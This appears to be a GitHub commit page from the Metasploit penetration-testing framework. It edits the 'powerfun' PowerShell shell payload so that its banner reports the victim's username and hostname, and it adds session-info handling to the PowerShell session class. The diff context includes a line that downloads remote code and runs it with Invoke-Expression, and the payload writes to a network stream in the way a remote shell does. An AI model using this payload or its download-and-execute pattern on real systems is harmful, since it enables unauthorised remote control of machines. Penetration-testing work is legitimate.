Skip to content

Commit 76e68fc

Browse files
committed
session info
1 parent d19406c commit 76e68fc

File tree

2 files changed

+16
-2
lines changed

2 files changed

+16
-2
lines changed

data/exploits/powershell/powerfun.ps1

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,7 @@ function powerfun
3434
(Get-Webclient).DownloadString($module)|Invoke-Expression
3535
}
3636
}
37-
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
37+
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
3838
$stream.Write($sendbytes,0,$sendbytes.Length)
3939
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
4040
$stream.Write($sendbytes,0,$sendbytes.Length)

lib/msf/base/sessions/powershell.rb

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,21 @@
22
require 'msf/base/sessions/command_shell'
33

44
class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell
5-
5+
#
6+
# Execute any specified auto-run scripts for this session
7+
#
8+
def process_autoruns(datastore)
9+
# Read the initial output (PS banner) and toss it)
10+
initial_output = shell_read(-1, 0.01)
11+
# TODO: send command for getting the username
12+
# TODO: parse out the username and set it to a variable
13+
# TODO: send command for getting the hostname
14+
# TODO: parse out the hostname and set it to a variable
15+
# Set the session info
16+
self.info = initial_output
17+
# Call our parent class's autoruns processing method
18+
super
19+
end
620
#
721
# Returns the type of session.
822
#

0 commit comments

Comments
 (0)